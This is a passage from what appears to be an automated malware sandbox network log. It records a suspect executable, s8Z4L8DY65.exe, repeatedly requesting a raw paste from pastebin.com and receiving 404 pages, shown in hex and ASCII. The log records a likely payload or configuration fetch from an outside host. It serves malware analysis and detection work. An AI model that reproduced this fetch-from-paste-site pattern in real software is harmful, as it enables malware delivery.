user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	54877	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:36 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:36 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 140 Server: cloudflare CF-RAY: 89cf5722ab408c51-EWR
2024-07-02 14:31:36 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	54878	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:36 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:36 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 140 Server: cloudflare CF-RAY: 89cf57269d468c1d-EWR
2024-07-02 14:31:36 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	54880	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:37 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:37 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 141 Server: cloudflare CF-RAY: 89cf572b8cf7c427-EWR
2024-07-02 14:31:37 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	54881	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:38 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:38 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 142 Server: cloudflare CF-RAY: 89cf572f8d2b42de-EWR
2024-07-02 14:31:38 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	54882	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:38 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:38 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 142 Server: cloudflare CF-RAY: 89cf573358b417f1-EWR
2024-07-02 14:31:38 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	54883	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:39 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:39 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 143 Server: cloudflare CF-RAY: 89cf57374bee7ca8-EWR
2024-07-02 14:31:39 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	54884	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:39 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:40 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 144 Server: cloudflare CF-RAY: 89cf573b6b5732e4-EWR
2024-07-02 14:31:40 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	54885	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:40 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:40 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 144 Server: cloudflare CF-RAY: 89cf573f6e064406-EWR
2024-07-02 14:31:40 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	54886	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:41 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:41 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 145 Server: cloudflare CF-RAY: 89cf57433b847287-EWR
2024-07-02 14:31:41 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	54887	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:41 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:41 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 145 Server: cloudflare CF-RAY: 89cf574708bd439f-EWR
2024-07-02 14:31:41 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	54888	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:42 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:42 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 146 Server: cloudflare CF-RAY: 89cf574b18948c15-EWR
2024-07-02 14:31:42 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	54889	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:43 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:43 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 147 Server: cloudflare CF-RAY: 89cf574f3873434a-EWR
2024-07-02 14:31:43 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	54890	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:43 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:44 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 147 Server: cloudflare CF-RAY: 89cf5753d9194257-EWR
